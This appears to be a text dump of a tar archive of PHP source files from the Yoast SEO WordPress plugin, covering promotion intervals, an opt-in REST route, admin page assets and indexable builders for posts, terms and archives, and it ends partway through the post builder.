* @return bool Whether the given time is within the interval.
*/
public function contains( int $time ): bool {
return ( ( $time > $this->time_start ) && ( $time < $this->time_end ) );
}
/**
* Sets the interval astarting date.
*
* @param int $time_start The interval start time.
*
* @return void
*/
public function set_start_date( int $time_start ) {
$this->time_start = $time_start;
}
/**
* Sets the interval ending date.
*
* @param int $time_end The interval end time.
*
* @return void
*/
public function set_end_date( int $time_end ) {
$this->time_end = $time_end;
}
}
promotions/domain/abstract-promotion.php 0000644 00000002030 15207625615 0014570 0 ustar 00 promotion_name = $promotion_name;
$this->time_interval = $time_interval;
}
/**
* Returns the promotion name.
*
* @return string
*/
public function get_promotion_name() {
return $this->promotion_name;
}
/**
* Returns the time interval in which the promotion is active.
*
* @return Time_Interval
*/
public function get_time_interval() {
return $this->time_interval;
}
}
promotions/domain/black-friday-promotion.php 0000644 00000000650 15207625615 0015323 0 ustar 00
*/
private $promotions_list = [];
/**
* Class constructor.
*
* @param Promotion_Interface ...$promotions List of promotions.
*/
public function __construct( Promotion_Interface ...$promotions ) {
$this->promotions_list = $promotions;
}
/**
* Whether the promotion is effective.
*
* @param string $promotion_name The name of the promotion.
*
* @return bool Whether the promotion is effective.
*/
public function is( string $promotion_name ): bool {
$time = \time();
foreach ( $this->promotions_list as $promotion ) {
if ( $promotion->get_promotion_name() === $promotion_name ) {
return $promotion->get_time_interval()->contains( $time );
}
}
return false;
}
/**
* Get the list of promotions.
*
* @return array The list of promotions.
*/
public function get_promotions_list(): array {
return $this->promotions_list;
}
/**
* Get the names of currently active promotions.
*
* @return array The list of promotions.
*/
public function get_current_promotions(): array {
$current_promotions = [];
$time = \time();
foreach ( $this->promotions_list as $promotion ) {
if ( $promotion->get_time_interval()->contains( $time ) ) {
$current_promotions[] = $promotion->get_promotion_name();
}
}
return $current_promotions;
}
}
loadable-interface.php 0000644 00000000436 15207625616 0010773 0 ustar 00 The array of conditionals.
*/
public static function get_conditionals() {
return [
User_Can_Manage_Wpseo_Options_Conditional::class,
];
}
/**
* Constructs Opt_In_Route.
*
* @param User_Helper $user_helper The user helper.
* @param Capability_Helper $capability_helper The capability helper.
*/
public function __construct( User_Helper $user_helper, Capability_Helper $capability_helper ) {
$this->user_helper = $user_helper;
$this->capability_helper = $capability_helper;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$opt_in_seen_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'set_opt_in_seen' ],
'permission_callback' => [ $this, 'can_see_opt_in' ],
'args' => [
'key' => [
'required' => true,
'type' => 'string',
'sanitize_callback' => 'sanitize_text_field',
'validate_callback' => [ $this, 'validate_key' ],
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::SEEN_ROUTE, $opt_in_seen_route_args );
}
/**
* Sets the opt-in notification as seen.
*
* @param WP_REST_Request $request The request. This request should have a key param set.
*
* @return WP_REST_Response The response.
*/
public function set_opt_in_seen( $request ) {
$key = $request->get_param( 'key' );
$current_user_id = $this->user_helper->get_current_user_id();
$result = $this->user_helper->update_meta( $current_user_id, '_yoast_wpseo_' . $key . '_opt_in_notification_seen', true );
$success = $result !== false;
$status = ( $success ) ? 200 : 400;
return new WP_REST_Response(
(object) [
'success' => $success,
'status' => $status,
],
$status,
);
}
/**
* Whether or not the current user is allowed to see the opt-in notification.
*
* @return bool Whether or not the current user is allowed to see the opt-in notification.
*/
public function can_see_opt_in() {
return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
}
/**
* Validates the key parameter.
*
* @param string $key The key to validate.
*
* @return bool Whether the key is valid.
*/
public function validate_key( $key ) {
$allowed_keys = [
'task_list',
];
return \in_array( $key, $allowed_keys, true );
}
}
general/user-interface/general-page-integration.php 0000644 00000021776 15207625616 0016505 0 ustar 00 asset_manager = $asset_manager;
$this->current_page_helper = $current_page_helper;
$this->product_helper = $product_helper;
$this->shortlink_helper = $shortlink_helper;
$this->notification_helper = $notification_helper;
$this->alert_dismissal_action = $alert_dismissal_action;
$this->promotion_manager = $promotion_manager;
$this->dashboard_configuration = $dashboard_configuration;
$this->user_helper = $user_helper;
$this->options_helper = $options_helper;
$this->woocommerce_conditional = $woocommerce_conditional;
$this->addon_manager = $addon_manager;
$this->task_list_configuration = $task_list_configuration;
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return array
*/
public static function get_conditionals() {
return [ Admin_Conditional::class, Non_Network_Admin_Conditional::class ];
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
// Add page.
\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );
// Are we on the dashboard page?
if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
}
}
/**
* Adds the page.
*
* @param array> $pages The pages.
*
* @return array> The pages.
*/
public function add_page( $pages ) {
\array_splice(
$pages,
0,
0,
[
[
self::PAGE,
'',
\__( 'General', 'wordpress-seo' ),
'wpseo_manage_options',
self::PAGE,
[ $this, 'display_page' ],
],
],
);
return $pages;
}
/**
* Displays the page.
*
* @return void
*/
public function display_page() {
echo '';
}
/**
* Enqueues the assets.
*
* @return void
*/
public function enqueue_assets() {
// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
\wp_enqueue_media();
$this->asset_manager->enqueue_script( 'general-page' );
$this->asset_manager->enqueue_style( 'general-page' );
if ( $this->promotion_manager->is( 'black-friday-promotion' ) ) {
$this->asset_manager->enqueue_style( 'black-friday-banner' );
}
$this->asset_manager->localize_script( 'general-page', 'wpseoScriptData', $this->get_script_data() );
}
/**
* Creates the script data.
*
* @return array The script data.
*/
private function get_script_data() {
return [
'preferences' => [
'isPremium' => $this->product_helper->is_premium(),
'isRtl' => \is_rtl(),
'pluginUrl' => \plugins_url( '', \WPSEO_FILE ),
'upsellSettings' => [
'actionId' => 'load-nfd-ctb',
'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
],
'llmTxtEnabled' => $this->options_helper->get( 'enable_llms_txt', true ),
'isWooCommerceActive' => $this->woocommerce_conditional->is_met(),
'addonsStatus' => [
'isWooSeoActive' => \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ),
'isLocalSEOActive' => \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::LOCAL_SLUG ) ),
'isNewsSEOActive' => \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::NEWS_SLUG ) ),
'isVideoSEOActive' => \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::VIDEO_SLUG ) ),
'isDuplicatePostActive' => \defined( 'DUPLICATE_POST_FILE' ),
],
],
'adminUrl' => \admin_url( 'admin.php' ),
'linkParams' => $this->shortlink_helper->get_query_params(),
'userEditUrl' => \add_query_arg( 'user_id', '{user_id}', \admin_url( 'user-edit.php' ) ),
'alerts' => $this->notification_helper->get_alerts(),
'currentPromotions' => $this->promotion_manager->get_current_promotions(),
'dismissedAlerts' => $this->alert_dismissal_action->all_dismissed(),
'dashboard' => $this->dashboard_configuration->get_configuration(),
'optInNotificationSeen' => [
'task_list' => $this->is_task_list_opt_in_notification_seen(),
],
'taskListConfiguration' => $this->task_list_configuration->get_configuration(),
];
}
/**
* Gets if the llms.txt opt-in notification has been seen.
*
* @return bool True if the notification has been seen, false otherwise.
*/
private function is_task_list_opt_in_notification_seen(): bool {
$current_user_id = $this->user_helper->get_current_user_id();
return (bool) $this->user_helper->get_meta( $current_user_id, '_yoast_wpseo_task_list_opt_in_notification_seen', true );
}
}
builders/indexable-date-archive-builder.php 0000644 00000003227 15207625616 0015015 0 ustar 00 options = $options;
$this->version = $versions->get_latest_version_for_type( 'date-archive' );
}
/**
* Formats the data.
*
* @param Indexable $indexable The indexable to format.
*
* @return Indexable The extended indexable.
*/
public function build( $indexable ) {
$indexable->object_type = 'date-archive';
$indexable->title = $this->options->get( 'title-archive-wpseo' );
$indexable->description = $this->options->get( 'metadesc-archive-wpseo' );
$indexable->is_robots_noindex = $this->options->get( 'noindex-archive-wpseo' );
$indexable->is_public = ( (int) $indexable->is_robots_noindex !== 1 );
$indexable->blog_id = \get_current_blog_id();
$indexable->permalink = null;
$indexable->version = $this->version;
return $indexable;
}
}
builders/indexable-builder.php 0000644 00000032033 15207625616 0012460 0 ustar 00 author_builder = $author_builder;
$this->post_builder = $post_builder;
$this->term_builder = $term_builder;
$this->home_page_builder = $home_page_builder;
$this->post_type_archive_builder = $post_type_archive_builder;
$this->date_archive_builder = $date_archive_builder;
$this->system_page_builder = $system_page_builder;
$this->hierarchy_builder = $hierarchy_builder;
$this->primary_term_builder = $primary_term_builder;
$this->indexable_helper = $indexable_helper;
$this->version_manager = $version_manager;
$this->link_builder = $link_builder;
}
/**
* Sets the indexable repository. Done to avoid circular dependencies.
*
* @required
*
* @param Indexable_Repository $indexable_repository The indexable repository.
*
* @return void
*/
public function set_indexable_repository( Indexable_Repository $indexable_repository ) {
$this->indexable_repository = $indexable_repository;
}
/**
* Creates a clean copy of an Indexable to allow for later database operations.
*
* @param Indexable $indexable The Indexable to copy.
*
* @return bool|Indexable
*/
protected function deep_copy_indexable( $indexable ) {
return $this->indexable_repository
->query()
->create( $indexable->as_array() );
}
/**
* Creates an indexable by its ID and type.
*
* @param int $object_id The indexable object ID.
* @param string $object_type The indexable object type.
* @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
*
* @return bool|Indexable Instance of indexable. False when unable to build.
*/
public function build_for_id_and_type( $object_id, $object_type, $indexable = false ) {
$defaults = [
'object_type' => $object_type,
'object_id' => $object_id,
];
$indexable = $this->build( $indexable, $defaults );
return $indexable;
}
/**
* Creates an indexable for the homepage.
*
* @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
*
* @return Indexable The home page indexable.
*/
public function build_for_home_page( $indexable = false ) {
return $this->build( $indexable, [ 'object_type' => 'home-page' ] );
}
/**
* Creates an indexable for the date archive.
*
* @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
*
* @return Indexable The date archive indexable.
*/
public function build_for_date_archive( $indexable = false ) {
return $this->build( $indexable, [ 'object_type' => 'date-archive' ] );
}
/**
* Creates an indexable for a post type archive.
*
* @param string $post_type The post type.
* @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
*
* @return Indexable The post type archive indexable.
*/
public function build_for_post_type_archive( $post_type, $indexable = false ) {
$defaults = [
'object_type' => 'post-type-archive',
'object_sub_type' => $post_type,
];
return $this->build( $indexable, $defaults );
}
/**
* Creates an indexable for a system page.
*
* @param string $page_type The type of system page.
* @param Indexable|bool $indexable Optional. An existing indexable to overwrite.
*
* @return Indexable The search result indexable.
*/
public function build_for_system_page( $page_type, $indexable = false ) {
$defaults = [
'object_type' => 'system-page',
'object_sub_type' => $page_type,
];
return $this->build( $indexable, $defaults );
}
/**
* Ensures we have a valid indexable. Creates one if false is passed.
*
* @param Indexable|false $indexable The indexable.
* @param array $defaults The initial properties of the Indexable.
*
* @return Indexable The indexable.
*/
protected function ensure_indexable( $indexable, $defaults = [] ) {
if ( ! $indexable ) {
return $this->indexable_repository->query()->create( $defaults );
}
return $indexable;
}
/**
* Build and author indexable from an author id if it does not exist yet, or if the author indexable needs to be upgraded.
*
* @param int $author_id The author id.
*
* @return Indexable|false The author indexable if it has been built, `false` if it could not be built.
*/
protected function maybe_build_author_indexable( $author_id ) {
$author_indexable = $this->indexable_repository->find_by_id_and_type(
$author_id,
'user',
false,
);
if ( ! $author_indexable || $this->version_manager->indexable_needs_upgrade( $author_indexable ) ) {
// Try to build the author.
$author_defaults = [
'object_type' => 'user',
'object_id' => $author_id,
];
$author_indexable = $this->build( $author_indexable, $author_defaults );
}
return $author_indexable;
}
/**
* Checks if the indexable type is one that is not supposed to have object ID for.
*
* @param string $type The type of the indexable.
*
* @return bool Whether the indexable type is one that is not supposed to have object ID for.
*/
protected function is_type_with_no_id( $type ) {
return \in_array( $type, [ 'home-page', 'date-archive', 'post-type-archive', 'system-page' ], true );
}
// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.Missing -- Exceptions are handled by the catch statement in the method.
/**
* Rebuilds an Indexable from scratch.
*
* @param Indexable $indexable The Indexable to (re)build.
* @param array|null $defaults The object type of the Indexable.
*
* @return Indexable|false The resulting Indexable.
*/
public function build( $indexable, $defaults = null ) {
// Backup the previous Indexable, if there was one.
$indexable_before = ( $indexable ) ? $this->deep_copy_indexable( $indexable ) : null;
// Make sure we have an Indexable to work with.
$indexable = $this->ensure_indexable( $indexable, $defaults );
try {
if ( $indexable->object_id === 0 ) {
throw Not_Built_Exception::invalid_object_id( $indexable->object_id );
}
switch ( $indexable->object_type ) {
case 'post':
$indexable = $this->post_builder->build( $indexable->object_id, $indexable );
// Save indexable, to make sure it can be queried when building related objects like the author indexable and hierarchy.
$indexable = $this->indexable_helper->save_indexable( $indexable, $indexable_before );
// For attachments, we have to make sure to patch any potentially previously cleaned up SEO links.
if ( \is_a( $indexable, Indexable::class ) && $indexable->object_sub_type === 'attachment' ) {
$this->link_builder->patch_seo_links( $indexable );
}
// Always rebuild the primary term.
$this->primary_term_builder->build( $indexable->object_id );
// Always rebuild the hierarchy; this needs the primary term to run correctly.
$this->hierarchy_builder->build( $indexable );
$this->maybe_build_author_indexable( $indexable->author_id );
// The indexable is already saved, so return early.
return $indexable;
case 'user':
$indexable = $this->author_builder->build( $indexable->object_id, $indexable );
break;
case 'term':
$indexable = $this->term_builder->build( $indexable->object_id, $indexable );
// Save indexable, to make sure it can be queried when building hierarchy.
$indexable = $this->indexable_helper->save_indexable( $indexable, $indexable_before );
$this->hierarchy_builder->build( $indexable );
// The indexable is already saved, so return early.
return $indexable;
case 'home-page':
$indexable = $this->home_page_builder->build( $indexable );
break;
case 'date-archive':
$indexable = $this->date_archive_builder->build( $indexable );
break;
case 'post-type-archive':
$indexable = $this->post_type_archive_builder->build( $indexable->object_sub_type, $indexable );
break;
case 'system-page':
$indexable = $this->system_page_builder->build( $indexable->object_sub_type, $indexable );
break;
}
return $this->indexable_helper->save_indexable( $indexable, $indexable_before );
} catch ( Source_Exception $exception ) {
if ( ! $this->is_type_with_no_id( $indexable->object_type ) && ! isset( $indexable->object_id ) ) {
return false;
}
/**
* The current indexable could not be indexed. Create a placeholder indexable, so we can
* skip this indexable in future indexing runs.
*
* @var Indexable $indexable
*/
$indexable = $this->ensure_indexable(
$indexable,
[
'object_id' => $indexable->object_id,
'object_type' => $indexable->object_type,
'post_status' => 'unindexed',
'version' => 0,
],
);
// If we already had an existing indexable, mark it as unindexed. We cannot rely on its validity anymore.
$indexable->post_status = 'unindexed';
// Make sure that the indexing process doesn't get stuck in a loop on this broken indexable.
$indexable = $this->version_manager->set_latest( $indexable );
return $this->indexable_helper->save_indexable( $indexable, $indexable_before );
} catch ( Not_Built_Exception $exception ) {
return false;
}
}
// phpcs:enable
}
builders/indexable-social-image-trait.php 0000644 00000011504 15207625616 0014505 0 ustar 00 image = $image;
$this->open_graph_image = $open_graph_image;
$this->twitter_image = $twitter_image;
}
/**
* Sets the alternative on an indexable.
*
* @param array $alternative_image The alternative image to set.
* @param Indexable $indexable The indexable to set image for.
*
* @return void
*/
protected function set_alternative_image( array $alternative_image, Indexable $indexable ) {
if ( ! empty( $alternative_image['image_id'] ) ) {
if ( ! $indexable->open_graph_image_source && ! $indexable->open_graph_image_id ) {
$indexable->open_graph_image_id = $alternative_image['image_id'];
$indexable->open_graph_image_source = $alternative_image['source'];
$this->set_open_graph_image_meta_data( $indexable );
}
if ( ! $indexable->twitter_image && ! $indexable->twitter_image_id ) {
$indexable->twitter_image = $this->twitter_image->get_by_id( $alternative_image['image_id'] );
$indexable->twitter_image_id = $alternative_image['image_id'];
$indexable->twitter_image_source = $alternative_image['source'];
}
}
if ( ! empty( $alternative_image['image'] ) ) {
if ( ! $indexable->open_graph_image_source && ! $indexable->open_graph_image_id ) {
$indexable->open_graph_image = $alternative_image['image'];
$indexable->open_graph_image_source = $alternative_image['source'];
}
if ( ! $indexable->twitter_image && ! $indexable->twitter_image_id ) {
$indexable->twitter_image = $alternative_image['image'];
$indexable->twitter_image_source = $alternative_image['source'];
}
}
}
/**
* Sets the Open Graph image meta data for an og image
*
* @param Indexable $indexable The indexable.
*
* @return void
*/
protected function set_open_graph_image_meta_data( Indexable $indexable ) {
if ( ! $indexable->open_graph_image_id ) {
return;
}
$image = $this->open_graph_image->get_image_by_id( $indexable->open_graph_image_id );
if ( ! empty( $image ) ) {
$indexable->open_graph_image = $image['url'];
$indexable->open_graph_image_meta = WPSEO_Utils::format_json_encode( $image );
}
}
/**
* Handles the social images.
*
* @param Indexable $indexable The indexable to handle.
*
* @return void
*/
protected function handle_social_images( Indexable $indexable ) {
// When the image or image id is set.
if ( $indexable->open_graph_image || $indexable->open_graph_image_id ) {
$indexable->open_graph_image_source = 'set-by-user';
$this->set_open_graph_image_meta_data( $indexable );
}
if ( $indexable->twitter_image || $indexable->twitter_image_id ) {
$indexable->twitter_image_source = 'set-by-user';
}
if ( $indexable->twitter_image_id ) {
$indexable->twitter_image = $this->twitter_image->get_by_id( $indexable->twitter_image_id );
}
// When image sources are set already.
if ( $indexable->open_graph_image_source && $indexable->twitter_image_source ) {
return;
}
$alternative_image = $this->find_alternative_image( $indexable );
if ( ! empty( $alternative_image ) ) {
$this->set_alternative_image( $alternative_image, $indexable );
}
}
/**
* Resets the social images.
*
* @param Indexable $indexable The indexable to set images for.
*
* @return void
*/
protected function reset_social_images( Indexable $indexable ) {
$indexable->open_graph_image = null;
$indexable->open_graph_image_id = null;
$indexable->open_graph_image_source = null;
$indexable->open_graph_image_meta = null;
$indexable->twitter_image = null;
$indexable->twitter_image_id = null;
$indexable->twitter_image_source = null;
}
}
builders/primary-term-builder.php 0000644 00000005222 15207625616 0013155 0 ustar 00 repository = $repository;
$this->indexable_helper = $indexable_helper;
$this->primary_term = $primary_term;
$this->meta = $meta;
}
/**
* Formats and saves the primary terms for the post with the given post id.
*
* @param int $post_id The post ID.
*
* @return void
*/
public function build( $post_id ) {
foreach ( $this->primary_term->get_primary_term_taxonomies( $post_id ) as $taxonomy ) {
$this->save_primary_term( $post_id, $taxonomy->name );
}
}
/**
* Save the primary term for a specific taxonomy.
*
* @param int $post_id Post ID to save primary term for.
* @param string $taxonomy Taxonomy to save primary term for.
*
* @return void
*/
protected function save_primary_term( $post_id, $taxonomy ) {
$term_id = $this->meta->get_value( 'primary_' . $taxonomy, $post_id );
$term_selected = ! empty( $term_id );
$primary_term_indexable = $this->repository->find_by_post_id_and_taxonomy( $post_id, $taxonomy, $term_selected );
// Removes the indexable when no term found.
if ( ! $term_selected ) {
if ( $primary_term_indexable ) {
$primary_term_indexable->delete();
}
return;
}
$primary_term_indexable->term_id = $term_id;
$primary_term_indexable->post_id = $post_id;
$primary_term_indexable->taxonomy = $taxonomy;
$primary_term_indexable->blog_id = \get_current_blog_id();
$this->indexable_helper->save_indexable( $primary_term_indexable );
}
}
builders/indexable-hierarchy-builder.php 0000644 00000026361 15207625616 0014443 0 ustar 00
*/
protected $saved_ancestors = [];
/**
* The indexable repository.
*
* @var Indexable_Repository
*/
private $indexable_repository;
/**
* The indexable hierarchy repository.
*
* @var Indexable_Hierarchy_Repository
*/
private $indexable_hierarchy_repository;
/**
* The primary term repository.
*
* @var Primary_Term_Repository
*/
private $primary_term_repository;
/**
* The options helper.
*
* @var Options_Helper
*/
private $options;
/**
* Holds the Post_Helper instance.
*
* @var Post_Helper
*/
private $post;
/**
* Holds the Indexable_Helper instance.
*
* @var Indexable_Helper
*/
private $indexable_helper;
/**
* Indexable_Author_Builder constructor.
*
* @param Indexable_Hierarchy_Repository $indexable_hierarchy_repository The indexable hierarchy repository.
* @param Primary_Term_Repository $primary_term_repository The primary term repository.
* @param Options_Helper $options The options helper.
* @param Post_Helper $post The post helper.
* @param Indexable_Helper $indexable_helper The indexable helper.
*/
public function __construct(
Indexable_Hierarchy_Repository $indexable_hierarchy_repository,
Primary_Term_Repository $primary_term_repository,
Options_Helper $options,
Post_Helper $post,
Indexable_Helper $indexable_helper
) {
$this->indexable_hierarchy_repository = $indexable_hierarchy_repository;
$this->primary_term_repository = $primary_term_repository;
$this->options = $options;
$this->post = $post;
$this->indexable_helper = $indexable_helper;
}
/**
* Sets the indexable repository. Done to avoid circular dependencies.
*
* @required
*
* @param Indexable_Repository $indexable_repository The indexable repository.
*
* @return void
*/
public function set_indexable_repository( Indexable_Repository $indexable_repository ) {
$this->indexable_repository = $indexable_repository;
}
/**
* Builds the ancestor hierarchy for an indexable.
*
* @param Indexable $indexable The indexable.
*
* @return Indexable The indexable.
*/
public function build( Indexable $indexable ) {
if ( $this->hierarchy_is_built( $indexable ) ) {
return $indexable;
}
if ( ! $this->indexable_helper->should_index_indexable( $indexable ) ) {
return $indexable;
}
$this->indexable_hierarchy_repository->clear_ancestors( $indexable->id );
$indexable_id = $this->get_indexable_id( $indexable );
$ancestors = [];
if ( $indexable->object_type === 'post' ) {
$this->add_ancestors_for_post( $indexable_id, $indexable->object_id, $ancestors );
}
if ( $indexable->object_type === 'term' ) {
$this->add_ancestors_for_term( $indexable_id, $indexable->object_id, $ancestors );
}
$indexable->ancestors = \array_reverse( \array_values( $ancestors ) );
$indexable->has_ancestors = ! empty( $ancestors );
if ( $indexable->id ) {
$this->save_ancestors( $indexable );
}
return $indexable;
}
/**
* Checks if a hierarchy is built already for the given indexable.
*
* @param Indexable $indexable The indexable to check.
*
* @return bool True when indexable has a built hierarchy.
*/
protected function hierarchy_is_built( Indexable $indexable ) {
if ( \in_array( $indexable->id, $this->saved_ancestors, true ) ) {
return true;
}
$this->saved_ancestors[] = $indexable->id;
return false;
}
/**
* Saves the ancestors.
*
* @param Indexable $indexable The indexable.
*
* @return void
*/
private function save_ancestors( $indexable ) {
if ( empty( $indexable->ancestors ) ) {
$this->indexable_hierarchy_repository->add_ancestor( $indexable->id, 0, 0 );
return;
}
$depth = \count( $indexable->ancestors );
foreach ( $indexable->ancestors as $ancestor ) {
$this->indexable_hierarchy_repository->add_ancestor( $indexable->id, $ancestor->id, $depth );
--$depth;
}
}
/**
* Adds ancestors for a post.
*
* @param int $indexable_id The indexable id, this is the id of the original indexable.
* @param int $post_id The post id, this is the id of the post currently being evaluated.
* @param int[] $parents The indexable IDs of all parents.
*
* @return void
*/
private function add_ancestors_for_post( $indexable_id, $post_id, &$parents ) {
$post = $this->post->get_post( $post_id );
if ( ! isset( $post->post_parent ) ) {
return;
}
if ( $post->post_parent !== 0 && $this->post->get_post( $post->post_parent ) !== null ) {
$ancestor = $this->indexable_repository->find_by_id_and_type( $post->post_parent, 'post' );
if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) {
return;
}
$parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor;
$this->add_ancestors_for_post( $indexable_id, $ancestor->object_id, $parents );
return;
}
$primary_term_id = $this->find_primary_term_id_for_post( $post );
if ( $primary_term_id === 0 ) {
return;
}
$ancestor = $this->indexable_repository->find_by_id_and_type( $primary_term_id, 'term' );
if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) {
return;
}
$parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor;
$this->add_ancestors_for_term( $indexable_id, $ancestor->object_id, $parents );
}
/**
* Adds ancestors for a term.
*
* @param int $indexable_id The indexable id, this is the id of the original indexable.
* @param int $term_id The term id, this is the id of the term currently being evaluated.
* @param int[] $parents The indexable IDs of all parents.
*
* @return void
*/
private function add_ancestors_for_term( $indexable_id, $term_id, &$parents = [] ) {
$term = \get_term( $term_id );
$term_parents = $this->get_term_parents( $term );
foreach ( $term_parents as $parent ) {
$ancestor = $this->indexable_repository->find_by_id_and_type( $parent->term_id, 'term' );
if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) {
continue;
}
$parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor;
}
}
/**
* Gets the primary term ID for a post.
*
* @param WP_Post $post The post.
*
* @return int The primary term ID. 0 if none exists.
*/
private function find_primary_term_id_for_post( $post ) {
$main_taxonomy = $this->options->get( 'post_types-' . $post->post_type . '-maintax' );
if ( ! $main_taxonomy || $main_taxonomy === '0' ) {
return 0;
}
$primary_term_id = $this->get_primary_term_id( $post->ID, $main_taxonomy );
if ( $primary_term_id ) {
$term = \get_term( $primary_term_id );
if ( $term !== null && ! \is_wp_error( $term ) ) {
return $primary_term_id;
}
}
$terms = \get_the_terms( $post->ID, $main_taxonomy );
if ( ! \is_array( $terms ) || empty( $terms ) ) {
return 0;
}
return $this->find_deepest_term_id( $terms );
}
/**
* Find the deepest term in an array of term objects.
*
* @param array $terms Terms set.
*
* @return int The deepest term ID.
*/
private function find_deepest_term_id( $terms ) {
/*
* Let's find the deepest term in this array, by looping through and then
* unsetting every term that is used as a parent by another one in the array.
*/
$terms_by_id = [];
foreach ( $terms as $term ) {
$terms_by_id[ $term->term_id ] = $term;
}
foreach ( $terms as $term ) {
unset( $terms_by_id[ $term->parent ] );
}
/*
* As we could still have two subcategories, from different parent categories,
* let's pick the one with the lowest ordered ancestor.
*/
$parents_count = -1;
$term_order = 9999; // Because ASC.
$deepest_term = \reset( $terms_by_id );
foreach ( $terms_by_id as $term ) {
$parents = $this->get_term_parents( $term );
$new_parents_count = \count( $parents );
if ( $new_parents_count < $parents_count ) {
continue;
}
$parent_order = 9999; // Set default order.
foreach ( $parents as $parent ) {
if ( $parent->parent === 0 && isset( $parent->term_order ) ) {
$parent_order = $parent->term_order;
}
}
// Check if parent has lowest order.
if ( $new_parents_count > $parents_count || $parent_order < $term_order ) {
$term_order = $parent_order;
$deepest_term = $term;
}
$parents_count = $new_parents_count;
}
return $deepest_term->term_id;
}
/**
* Get a term's parents.
*
* @param WP_Term $term Term to get the parents for.
*
* @return WP_Term[] An array of all this term's parents.
*/
private function get_term_parents( $term ) {
$tax = $term->taxonomy;
$parents = [];
while ( (int) $term->parent !== 0 ) {
$term = \get_term( $term->parent, $tax );
$parents[] = $term;
}
return $parents;
}
/**
* Checks if an ancestor is valid to add.
*
* @param Indexable $ancestor The ancestor (presumed indexable) to check.
* @param int $indexable_id The indexable id we're adding ancestors for.
* @param int[] $parents The indexable ids of the parents already added.
*
* @return bool
*/
private function is_invalid_ancestor( $ancestor, $indexable_id, $parents ) {
// If the ancestor is not an Indexable, it is invalid by default.
if ( ! \is_a( $ancestor, 'Yoast\WP\SEO\Models\Indexable' ) ) {
return true;
}
// Don't add ancestors if they're unindexed, already added or the same as the main object.
if ( $ancestor->post_status === 'unindexed' ) {
return true;
}
$ancestor_id = $this->get_indexable_id( $ancestor );
if ( \array_key_exists( $ancestor_id, $parents ) ) {
return true;
}
if ( $ancestor_id === $indexable_id ) {
return true;
}
return false;
}
/**
* Returns the ID for an indexable. Catches situations where the id is null due to errors.
*
* @param Indexable $indexable The indexable.
*
* @return string|int A unique ID for the indexable.
*/
private function get_indexable_id( Indexable $indexable ) {
if ( $indexable->id === 0 ) {
return "{$indexable->object_type}:{$indexable->object_id}";
}
return $indexable->id;
}
/**
* Returns the primary term id of a post.
*
* @param int $post_id The post ID.
* @param string $main_taxonomy The main taxonomy.
*
* @return int The ID of the primary term.
*/
private function get_primary_term_id( $post_id, $main_taxonomy ) {
$primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false );
if ( $primary_term ) {
return $primary_term->term_id;
}
return \get_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy, true );
}
}
builders/indexable-post-builder.php 0000644 00000030145 15207625616 0013445 0 ustar 00 post_helper = $post_helper;
$this->post_type_helper = $post_type_helper;
$this->version = $versions->get_latest_version_for_type( 'post' );
$this->meta = $meta;
$this->permalink_helper = $permalink_helper;
}
/**
* Sets the indexable repository. Done to avoid circular dependencies.
*
* @required
*
* @param Indexable_Repository $indexable_repository The indexable repository.
*
* @return void
*/
public function set_indexable_repository( Indexable_Repository $indexable_repository ) {
$this->indexable_repository = $indexable_repository;
}
/**
* Formats the data.
*
* @param int $post_id The post ID to use.
* @param Indexable $indexable The indexable to format.
*
* @return bool|Indexable The extended indexable. False when unable to build.
*
* @throws Post_Not_Found_Exception When the post could not be found.
* @throws Post_Not_Built_Exception When the post should not be indexed.
*/
public function build( $post_id, $indexable ) {
if ( ! $this->post_helper->is_post_indexable( $post_id ) ) {
throw Post_Not_Built_Exception::because_not_indexable( $post_id );
}
$post = $this->post_helper->get_post( $post_id );
if ( $post === null ) {
throw new Post_Not_Found_Exception();
}
if ( $this->should_exclude_post( $post ) ) {
throw Post_Not_Built_Exception::because_post_type_excluded( $post_id );
}
$indexable->object_id = $post_id;
$indexable->object_type = 'post';
$indexable->object_sub_type = $post->post_type;
$indexable->permalink = $this->permalink_helper->get_permalink_for_post( $post->post_type, $post_id );
$indexable->primary_focus_keyword_score = $this->get_keyword_score(
$this->meta->get_value( 'focuskw', $post_id ),
(int) $this->meta->get_value( 'linkdex', $post_id ),
);
$indexable->readability_score = (int) $this->meta->get_value( 'content_score', $post_id );
$indexable->inclusive_language_score = (int) $this->meta->get_value( 'inclusive_language_score', $post_id );
$indexable->is_cornerstone = ( $this->meta->get_value( 'is_cornerstone', $post_id ) === '1' );
$indexable->is_robots_noindex = $this->get_robots_noindex(
(int) $this->meta->get_value( 'meta-robots-noindex', $post_id ),
);
// Set additional meta-robots values.
$indexable->is_robots_nofollow = ( $this->meta->get_value( 'meta-robots-nofollow', $post_id ) === '1' );
$noindex_advanced = $this->meta->get_value( 'meta-robots-adv', $post_id );
